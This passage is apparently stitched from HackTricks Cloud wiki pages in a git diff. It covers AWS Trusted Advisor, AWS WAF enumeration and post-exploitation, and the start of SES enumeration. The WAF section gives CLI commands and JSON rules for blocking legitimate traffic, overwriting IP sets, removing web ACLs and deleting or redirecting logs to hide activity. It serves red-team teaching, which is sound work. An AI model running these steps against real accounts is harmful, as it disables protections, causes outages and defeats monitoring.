2. **Performance:** Identifies potential performance bottlenecks.
3. **Security:** Scans for vulnerabilities or weak security configurations.
4. **Fault Tolerance:** Recommends practices to enhance service resilience and fault tolerance.
The comprehensive features of Trusted Advisor are exclusively accessible with **AWS business or enterprise support plans**. Without these plans, access is limited to **six core checks**, primarily focused on performance and security.
### Notifications and Data Refresh
* Trusted Advisor can issue alerts.
* Items can be excluded from its checks.
* Data is refreshed every 24 hours. However, a manual refresh is possible 5 minutes after the last refresh.
### **Checks Breakdown**
#### CategoriesCore
1. Cost Optimization
2. Security
3. Fault Tolerance
4. Performance
5. Service Limits
6. S3 Bucket Permissions
#### Core Checks
Limited to users without business or enterprise support plans:
1. Security Groups - Specific Ports Unrestricted
2. IAM Use
3. MFA on Root Account
4. EBS Public Snapshots
5. RDS Public Snapshots
6. Service Limits
#### Security Checks
A list of checks primarily focusing on identifying and rectifying security threats:
* Security group settings for high-risk ports
* Security group unrestricted access
* Open write/list access to S3 buckets
* MFA enabled on root account
* RDS security group permissiveness
* CloudTrail usage
* SPF records for Route 53 MX records
* HTTPS configuration on ELBs
* Security groups for ELBs
* Certificate checks for CloudFront
* IAM access key rotation (90 days)
* Exposure of access keys (e.g., on GitHub)
* Public visibility of EBS or RDS snapshots
* Weak or absent IAM password policies
AWS Trusted Advisor acts as a crucial tool in ensuring the optimization, performance, security, and fault tolerance of AWS services based on established best practices.
## **References**
* [https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor](https://cloudsecdocs.com/aws/services/logging/other/#trusted-advisor)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,501 @@
# AWS - WAF Enum
## AWS - WAF Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## AWS WAF
AWS WAF is a **web application firewall** designed to **safeguard web applications or APIs** against various web exploits which may impact their availability, security, or resource consumption. It empowers users to control incoming traffic by setting up **security rules** that mitigate typical attack vectors like SQL injection or cross-site scripting and also by defining custom filtering rules.
### Key concepts
#### Web ACL (Access Control List)
A Web ACL is a collection of rules that you can apply to your web applications or APIs. When you associate a Web ACL with a resource, AWS WAF inspects incoming requests based on the rules defined in the Web ACL and takes the specified actions.
#### Rule Group
A Rule Group is a reusable collection of rules that you can apply to multiple Web ACLs. Rule groups help manage and maintain consistent rule sets across different web applications or APIs.
Each rule group has its associated **capacity**, which helps to calculate and control the operating resources that are used to run your rules, rule groups, and web ACLs. Once its value is set during creation, it is not possible to modify it.
#### Rule
A rule defines a set of conditions that AWS WAF uses to inspect incoming web requests. There are two main types of rules:
1. **Regular Rule**: This rule type uses specified conditions to determine whether to allow, block, or count web requests.
2. **Rate-Based Rule**: Counts requests from a specific IP address over a five-minute period. Here, users define a threshold, and if the number of requests from an IP exceeds this limit within five minutes, subsequent requests from that IP are blocked until the request rate drops below the threshold. The minimum threshold for rate-based rules is **2000 requests**.
#### Managed Rules
AWS WAF offers pre-configured, managed rule sets that are maintained by AWS and AWS Marketplace sellers. These rule sets provide protection against common threats and are regularly updated to address new vulnerabilities.
#### IP Set
An IP Set is a list of IP addresses or IP address ranges that you want to allow or block. IP sets simplify the process of managing IP-based rules.
#### Regex Pattern Set
A Regex Pattern Set contains one or more regular expressions (regex) that define patterns to search for in web requests. This is useful for more complex matching scenarios, such as filtering specific sequences of characters.
#### Lock Token
A Lock Token is used for concurrency control when making updates to WAF resources. It ensures that changes are not accidentally overwritten by multiple users or processes attempting to update the same resource simultaneously.
#### API Keys
API Keys in AWS WAF are used to authenticate requests to certain API operations. These keys are encrypted and managed securely to control access and ensure that only authorized users can make changes to WAF configurations.
* **Example**: Integration of the CAPTCHA API.
#### Permission Policy
A Permission Policy is an IAM policy that specifies who can perform actions on AWS WAF resources. By defining permissions, you can control access to WAF resources and ensure that only authorized users can create, update, or delete configurations.
#### Scope
The scope parameter in AWS WAF specifies whether the WAF rules and configurations apply to a regional application or an Amazon CloudFront distribution.
* **REGIONAL**: Applies to regional services such as Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, Amazon Cognito user pool, AWS App Runner service and AWS Verified Access instance. You specify the AWS region where these resources are located.
* **CLOUDFRONT**: Applies to Amazon CloudFront distributions, which are global. WAF configurations for CloudFront are managed through the `us-east-1` region regardless of where the content is served.
### Key features
#### Monitoring Criteria (Conditions)
**Conditions** specify the elements of incoming HTTP/HTTPS requests that AWS WAF monitors, which include XSS, geographical location (GEO), IP addresses, Size constraints, SQL Injection, and patterns (strings and regex matching). It's important to note that **requests restricted at the CloudFront level based on country won't reach WAF**.
Each AWS account can configure:
* **100 conditions** for each type (except for Regex, where only **10 conditions** are allowed, but this limit can be increased).
* **100 rules** and **50 Web ACLs**.
* A maximum of **5 rate-based rules**.
* A throughput of **10,000 requests per second** when WAF is implemented with an application load balancer.
#### Rule actions
Actions are assigned to each rule, with options being:
* **Allow**: The request is forwarded to the appropriate CloudFront distribution or Application Load Balancer.
* **Block**: The request is terminated immediately.
* **Count**: Tallies the requests meeting the rule's conditions. This is useful for rule testing, confirming the rule's accuracy before setting it to Allow or Block.
* **CAPTCHA and Challenge:** It is verified that the request does not come from a bot using CAPTCHA puzzles and silent challenges.
If a request doesn't match any rule within the Web ACL, it undergoes the **default action** (Allow or Block). The order of rule execution, defined within a Web ACL, is crucial and typically follows this sequence:
1. Allow Whitelisted IPs.
2. Block Blacklisted IPs.
3. Block requests matching any detrimental signatures.
#### CloudWatch Integration
AWS WAF integrates with CloudWatch for monitoring, offering metrics like AllowedRequests, BlockedRequests, CountedRequests, and PassedRequests. These metrics are reported every minute by default and retained for a period of two weeks.
### Enumeration
In order to interact with CloudFront distributions, you must specify the Region US East (N. Virginia):
* CLI - Specify the Region US East when you use the CloudFront scope: `--scope CLOUDFRONT --region=us-east-1` .
* API and SDKs - For all calls, use the Region endpoint us-east-1.
In order to interact with regional services, you should specify the region:
* Example with the region Europe (Spain): `--scope REGIONAL --region=eu-south-2`
```bash
# Web ACLs #
## Retrieve a list of web access control lists (Web ACLs) available in your AWS account
aws wafv2 list-web-acls --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
## Retrieve details about the specified Web ACL
aws wafv2 get-web-acl --name <value> --id <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
## Retrieve a list of resources associated with a specific web access control list (Web ACL)
aws wafv2 list-resources-for-web-acl --web-acl-arn <value> # Additional permissions needed depending on the protected resource type: cognito-idp:ListResourcesForWebACL, ec2:DescribeVerifiedAccessInstanceWebAclAssociations or apprunner:ListAssociatedServicesForWebAcl
## Retrieve the Web ACL associated with the specified AWS resource
aws wafv2 get-web-acl-for-resource --resource-arn <arn> # Additional permissions needed depending on the protected resource type: cognito-idp:GetWebACLForResource, ec2:GetVerifiedAccessInstanceWebAcl, wafv2:GetWebACL or apprunner:DescribeWebAclForService
# Rule groups #
## List of the rule groups available in your AWS account
aws wafv2 list-rule-groups --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
## Retrieve the details of a specific rule group
aws wafv2 get-rule-group [--name <value>] [--id <value>] [--arn <value>] [--scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>]
## Retrieve the IAM policy attached to the specified rule group
aws wafv2 get-permission-policy --resource-arn <rule-group-arn> # Just the owner of the Rule Group can do this operation
# Managed rule groups (by AWS or by a third-party) #
## List the managed rule groups that are available
aws wafv2 list-available-managed-rule-groups --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
## List the available versions of the specified managed rule group
aws wafv2 list-available-managed-rule-group-versions --vendor-name <value> --name <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
## Retrieve high-level information about a specific managed rule group
aws wafv2 describe-managed-rule-group --vendor-name <value> --name <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> [--version-name <value>]
## Retrieve high-level information about all managed rule groups
aws wafv2 describe-all-managed-products --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
## Retrieve high-level information about all managed rule groups from a specific vendor
aws wafv2 describe-managed-products-by-vendor --vendor-name <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
# IP sets #
## List the IP sets that are available in your AWS account
aws wafv2 list-ip-sets --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
## Retrieve the specific IP set
aws wafv2 get-ip-set --name <value> --id <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
## Retrieve the keys that are currently being managed by a rate-based rule.
aws wafv2 get-rate-based-statement-managed-keys --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>\
--web-acl-name <value> --web-acl-id <value> --rule-name <value> [--rule-group-rule-name <value>]
# Regex pattern sets #
## List all the regex pattern sets that you manage
aws wafv2 list-regex-pattern-sets --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
## Retrieves the specified regex pattern sets
aws wafv2 get-regex-pattern-set --name <value> --id <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
# API Keys #
## List API keys for the specified scope
aws wafv2 list-api-keys --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
## Retrieve decrypted API key
aws wafv2 get-decrypted-api-key --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> --api-key <value>
# Logs #
## List of logging configurations (storage location of the logs)
aws wafv2 list-logging-configurations --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> [--log-scope <value>]
## Retrieve the logging configuration settings associated with a specific web ACL
aws wafv2 get-logging-configuration --resource-arn <value> [--log-scope <CUSTOMER | SECURITY_LAKE>] [--log-type <value>]
# Miscelaneous #
## Retrieve a list of the tags associated to the specified resource
aws wafv2 list-tags-for-resource resource-arn <value>
## Retrieve a sample of web requests that match a specified rule within a WebACL during a specified time range
aws wafv2 get-sampled-requests --web-acl-arn <value> --rule-metric-name <value> --time-window <value> --max-items <1-500> --scope <value>
## Obtains the web ACL capacity unit (WCU) requirements for a specified scope and ruleset
aws wafv2 check-capacity --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> --rules <value>
## List of available releases for the AWS WAFv2 mobile SDK
aws wafv2 list-mobile-sdk-releases --platform <IOS | ANDROID>
## Retrieves information for the specified mobile SDK release
aws wafv2 get-mobile-sdk-release --platform <value> --release-version <value>
```
### Post Exploitation / Bypass
{% hint style="success" %}
From an attackers perspective, this service can help the attacker to identify WAF protections and network exposures that could help him to compromise other webs.
However, an attacker could also be interested in disrupting this service so the webs aren't protected by the WAF.
{% endhint %}
In many of the Delete and Update operations it would be necessary to provide the **lock token**. This token is used for concurrency control over the resources, ensuring that changes are not accidentally overwritten by multiple users or processes attempting to update the same resource simultaneously. In order to obtain this token you could perform the correspondent **list** or **get** operations over the specific resource.
#### **`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`**
An attacker would be able to compromise the security of the affected resource by:
* Creating rule groups that could, for instance, block legitimate traffic from legitimate IP addresses, causing a denial of service.
* Updating rule groups, being able to modify its actions for example from **Block** to **Allow**.
* Deleting rule groups that provide critical security measures.
```bash
# Create Rule Group
aws wafv2 create-rule-group --name <value> --capacity <value> --visibility-config <value> \
--scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> [--rules <value>] [--description <value>]
# Update Rule Group
aws wafv2 update-rule-group --name <value> --id <value> --visibility-config <value> --lock-token <value>\
--scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> [--rules <value>] [--description <value>]
# Delete Rule Group
aws wafv2 delete-rule-group --name <value> --id <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
```
The following examples shows a rule group that would block legitimate traffic from specific IP addresses:
```bash
aws wafv2 create-rule-group --name BlockLegitimateIPsRuleGroup --capacity 1 --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=BlockLegitimateIPsRuleGroup --scope CLOUDFRONT --region us-east-1 --rules file://rule.json
```
The **rule.json** file would look like:
```json
[
{
"Name":"BlockLegitimateIPsRule",
"Priority":0,
"Statement": {
"IPSetReferenceStatement": {
"ARN": "arn:aws:wafv2:us-east-1:123456789012:global/ipset/legitIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
},
"Action":{
"Block":{}
},
"VisibilityConfig":{
"SampledRequestsEnabled":false,
"CloudWatchMetricsEnabled":false,
"MetricName":"BlockLegitimateIPsRule"
}
}
]
```
**Potential Impact**: Unauthorized access, data breaches, and potential DoS attacks.
#### **`wafv2:CreateWebACL`, `wafv2:UpdateWebACL`, `wafv2:DeleteWebACL`**
With these permissions, an attacker would be able to:
* Create a new Web ACL, introducing rules that either allow malicious traffic through or block legitimate traffic, effectively rendering the WAF useless or causing a denial of service.
* Update existing Web ACLs, being able to modify rules to permit attacks such as SQL injection or cross-site scripting, which were previously blocked, or disrupt normal traffic flow by blocking valid requests.
* Delete a Web ACL, leaving the affected resources entirely unprotected, exposing it to a broad range of web attacks.
{% hint style="info" %}
You can only delete the specified **WebACL** if **ManagedByFirewallManager** is false.
{% endhint %}
```bash
# Create Web ACL
aws wafv2 create-web-acl --name <value> --default-action <value> --visibility-config <value> \
--scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> [--rules <value>] [--captcha-config <value>] [--description <value>]
# Update Web ACL
aws wafv2 update-web-acl --name <value> --id <value> --default-action <value> --visibility-config <value> --lock-token <value>\
--scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> [--rules <value>] [--captcha-config <value>] [--description <value>]
# Delete Web ACL
aws wafv2 delete-web-acl --name <value> --id <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
```
The following examples shows how to update a Web ACL to block the legitimate traffic from a specific IP set. If the origin IP does not match any of those IPs, the default action would also be blocking it, causing a DoS.
**Original Web ACL**:
```json
{
"WebACL": {
"Name": "AllowLegitimateIPsWebACL",
"Id": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/webacl/AllowLegitimateIPsWebACL/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"DefaultAction": {
"Allow": {}
},
"Description": "",
"Rules": [
{
"Name": "AllowLegitimateIPsRule",
"Priority": 0,
"Statement": {
"IPSetReferenceStatement": {
"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
},
"Action": {
"Allow": {}
},
"VisibilityConfig": {
"SampledRequestsEnabled": false,
"CloudWatchMetricsEnabled": false,
"MetricName": "AllowLegitimateIPsRule"
}
}
],
"VisibilityConfig": {
"SampledRequestsEnabled": false,
"CloudWatchMetricsEnabled": false,
"MetricName": "AllowLegitimateIPsWebACL"
},
"Capacity": 1,
"ManagedByFirewallManager": false,
"LabelNamespace": "awswaf:123456789012:webacl:AllowLegitimateIPsWebACL:"
},
"LockToken": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
```
Command to update the Web ACL:
```json
aws wafv2 update-web-acl --name AllowLegitimateIPsWebACL --scope REGIONAL --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --default-action Block={} --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=AllowLegitimateIPsWebACL --rules file://rule.json --region us-east-1
```
The **rule.json** file would look like:
```json
[
{
"Name": "BlockLegitimateIPsRule",
"Priority": 0,
"Statement": {
"IPSetReferenceStatement": {
"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
},
"Action": {
"Block": {}
},
"VisibilityConfig": {
"SampledRequestsEnabled": false,
"CloudWatchMetricsEnabled": false,
"MetricName": "BlockLegitimateIPRule"
}
}
]
```
**Potential Impact**: Unauthorized access, data breaches, and potential DoS attacks.
#### **`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`**
The **`wafv2:AssociateWebACL`** permission would allow an attacker to associate web ACLs (Access Control Lists) with resources, being able to bypass security controls, allowing unauthorized traffic to reach the application, potentially leading to exploits like SQL injection or cross-site scripting (XSS). Conversely, with the **`wafv2:DisassociateWebACL`** permission, the attacker could temporarily disable security protections, exposing the resources to vulnerabilities without detection.
The additional permissions would be needed depending on the protected resource type:
* **Associate**
* apigateway:SetWebACL
* apprunner:AssociateWebAcl
* appsync:SetWebACL
* cognito-idp:AssociateWebACL
* ec2:AssociateVerifiedAccessInstanceWebAcl
* elasticloadbalancing:SetWebAcl
* **Disassociate**
* apigateway:SetWebACL
* apprunner:DisassociateWebAcl
* appsync:SetWebACL
* cognito-idp:DisassociateWebACL
* ec2:DisassociateVerifiedAccessInstanceWebAcl
* elasticloadbalancing:SetWebAcl
```bash
# Associate
aws wafv2 associate-web-acl --web-acl-arn <value> --resource-arn <value>
# Disassociate
aws wafv2 disassociate-web-acl --resource-arn <value>
```
**Potential Impact**: Compromised resources security, increased risk of exploitation, and potential service disruptions within AWS environments protected by AWS WAF.
#### **`wafv2:CreateIPSet` , `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`**
An attacker would be able to create, update and delete the IP sets managed by AWS WAF. This could be dangerous since could create new IP sets to allow malicious traffic, modify IP sets in order to block legitimate traffic, update existing IP sets to include malicious IP addresses, remove trusted IP addresses or delete critical IP sets that are meant to protect critical resources.
```bash
# Create IP set
aws wafv2 create-ip-set --name <value> --ip-address-version <IPV4 | IPV6> --addresses <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
# Update IP set
aws wafv2 update-ip-set --name <value> --id <value> --addresses <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
# Delete IP set
aws wafv2 delete-ip-set --name <value> --id <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
```
The following example shows how to **overwrite the existing IP set by the desired IP set**:
```bash
aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --addresses 99.99.99.99/32 --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --scope CLOUDFRONT --region us-east-1
```
**Potential Impact**: Unauthorized access and block of legitimate traffic.
#### **`wafv2:CreateRegexPatternSet`** , **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`**
An attacker with these permissions would be able to manipulate the regular expression pattern sets used by AWS WAF to control and filter incoming traffic based on specific patterns.
* Creating new regex patterns would help an attacker to allow harmful content
* Updating the existing patterns, an attacker would to bypass security rules
* Deleting patterns that are designed to block malicious activities could lead an attacker to the send malicious payloads and bypass the security measures.
```bash
# Create regex pattern set
aws wafv2 create-regex-pattern-set --name <value> --regular-expression-list <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> [--description <value>]
# Update regex pattern set
aws wafv2 update-regex-pattern-set --name <value> --id <value> --regular-expression-list <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
# Delete regex pattern set
aws wafv2 delete-regex-pattern-set --name <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> --id <value> --lock-token <value>
```
**Potential Impact**: Bypass security controls, allowing malicious content and potentially exposing sensitive data or disrupting services and resources protected by AWS WAF.
#### **(`wavf2:PutLoggingConfiguration` &** `iam:CreateServiceLinkedRole`), **`wafv2:DeleteLoggingConfiguration`**
An attacker with the **`wafv2:DeleteLoggingConfiguration`** would be able to remove the logging configuration from the specified Web ACL. Subsequently, with the **`wavf2:PutLoggingConfiguration`** and **`iam:CreateServiceLinkedRole`** permissions, an attacker could create or replace logging configurations (after having deleted it) to either prevent logging altogether or redirect logs to unauthorized destinations, such as Amazon S3 buckets, Amazon CloudWatch Logs log group or an Amazon Kinesis Data Firehose under control.
During the creation process, the service automatically sets up the necessary permissions to allow logs to be written to the specified logging destination:
* **Amazon CloudWatch Logs:** AWS WAF creates a resource policy on the designated CloudWatch Logs log group. This policy ensures that AWS WAF has the permissions required to write logs to the log group.
* **Amazon S3 Bucket:** AWS WAF creates a bucket policy on the designated S3 bucket. This policy grants AWS WAF the permissions necessary to upload logs to the specified bucket.
* **Amazon Kinesis Data Firehose:** AWS WAF creates a service-linked role specifically for interacting with Kinesis Data Firehose. This role allows AWS WAF to deliver logs to the configured Firehose stream.
{% hint style="info" %}
It is possible to define only one logging destination per web ACL.
{% endhint %}
```bash
# Put logging configuration
aws wafv2 put-logging-configuration --logging-configuration <value>
# Delete logging configuration
aws wafv2 delete-logging-configuration --resource-arn <value> [--log-scope <CUSTOMER | SECURITY_LAKE>] [--log-type <value>]
```
**Potential Impact:** Obscure visibility into security events, difficult the incident response process, and facilitate covert malicious activities within AWS WAF-protected environments.
#### **`wafv2:DeleteAPIKey`**
An attacker with this permissions would be able to delete existing API keys, rendering the CAPTCHA ineffective and disrupting the functionality that relies on it, such as form submissions and access controls. Depending on the implementation of this CAPTCHA, this could lead either to a CAPTCHA bypass or to a DoS if the error management is not properly set in the resource.
```bash
# Delete API key
aws wafv2 delete-api-key --api-key <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
```
**Potential Impact**: Disable CAPTCHA protections or disrupt application functionality, leading to security breaches and potential data theft.
#### **`wafv2:TagResource`, `wafv2:UntagResource`**
An attacker would be able to add, modify, or remove tags from AWS WAFv2 resources, such as Web ACLs, rule groups, IP sets, regex pattern sets, and logging configurations.
```bash
# Tag
aws wafv2 tag-resource --resource-arn <value> --tags <value>
# Untag
aws wafv2 untag-resource --resource-arn <value> --tag-keys <value>
```
**Potential Impact**: Resource tampering, information leakage, cost manipulation and operational disruption.
## References
* [https://www.citrusconsulting.com/aws-web-application-firewall-waf/#:\~:text=Conditions%20allow%20you%20to%20specify,user%20via%20a%20web%20application](https://www.citrusconsulting.com/aws-web-application-firewall-waf/)
* [https://docs.aws.amazon.com/service-authorization/latest/reference/list\_awswafv2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awswafv2.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,156 @@
# AWS - SES Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basic Information
Amazon Simple Email Service (Amazon SES) is designed for **sending and receiving emails**. It enables users to send transactional, marketing, or notification emails efficiently and securely at scale. It **integrates well with other AWS services**, providing a robust solution for managing email communications for businesses of all sizes.
You need to register **identities**, which can be domains or emails addresses that will be able to interact with SES (e.g. send and receive emails).
### SMTP User
It's possible to connect to a **SMTP server of AWS to perform actions** instead of using the AWS API (or in addition). For this you need to create a user with a policy such as:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "ses:SendRawEmail",
"Resource": "*"
}
]
}
```
Then, gather the **API key and secret** of the user and run:
```bash
git clone https://github.com/lisenet/ses-smtp-converter.git
cd ./ses-smtp-converter
chmod u+x ./ses-smtp-conv.sh
./ses-smtp-conv.sh <AccessKeyId> <SecretAccessKey>
```
It's also possible to do this from the AWS console web.
### Enumeration
{% hint style="warning" %}
Note that SES has 2 APIs: **`ses`** and **`sesv2`**. Some actions are in both APIs and others are just in one of the two.
{% endhint %}
{% code overflow="wrap" %}
```bash
# Get info about the SES account
aws sesv2 get-account
aws ses get-account-sending-enabled # Check if enabled
# Get registered domains and email addresses (identities)
aws ses list-identities
aws sesv2 list-email-identities
aws sesv2 get-email-identity --email-identity <identity> #Get at once all the attributes
# Get Resource Policies applied in the identity
aws ses list-identity-policies --identity <identity>
aws ses get-identity-policies --identity <identity> --policy-names <policy>
aws sesv2 get-email-identity-policies --email-identity <identity>
# Get attributes of the identity
## Check if verified
aws ses get-identity-verification-attributes --identities <identity>
## DKIM settings, relevant for identities that are domains not emails
aws ses get-identity-dkim-attributes --identities <identity>
## Get what happnes if the send mail from the identity fails
aws ses get-identity-mail-from-domain-attributes --identities <identity>
## otifications attributes
aws ses get-identity-notification-attributes --identities <identity>
# Get email templates
aws ses list-templates
aws ses get-template --template-name <name>
aws sesv2 list-email-templates
aws sesv2 get-email-template --template-name <name>
# Get custom verification email templates
## This is the email sent when an identity is verified, it can be customized
aws ses list-custom-verification-email-templates
aws sesv2 list-custom-verification-email-templates
aws ses get-custom-verification-email-template --template-name <name>
aws sesv2 get-custom-verification-email-template --template-name <name>
# Get receipt rule sets
## Receipt rules indicate how to handle incoming mail by executing an ordered list of actions
aws ses list-receipt-rule-sets
aws ses describe-receipt-rule-set --rule-set-name <name>
aws ses describe-receipt-rule-set --rule-set-name <name> --rule-name <name>
## Metadata and receipt rules for the receipt rule set that is currently active
aws ses describe-active-receipt-rule-set
# Get suppressed destinations
aws sesv2 list-suppressed-destinations
aws sesv2 get-suppressed-destination --email-address <email>
# Get configuration sets
## These are set of rules applied to the identities related to the configuration set
aws ses list-configuration-sets
aws sesv2 list-configuration-sets
aws ses describe-configuration-set --configuration-set-name <name> --configuration-set-attribute-names eventDestinations trackingOptions deliveryOptions reputationOptions
aws sesv2 get-configuration-set --configuration-set-name <name>
aws sesv2 get-configuration-set-event-destinations --configuration-set-name <name>
# Get Contacts list
aws sesv2 list-contact-lists
aws sesv2 list-contacts --contact-list-name <name>
aws sesv2 get-contact-list --contact-list-name <name>
aws sesv2 get-contact --contact-list-name <name> --email-address <name>
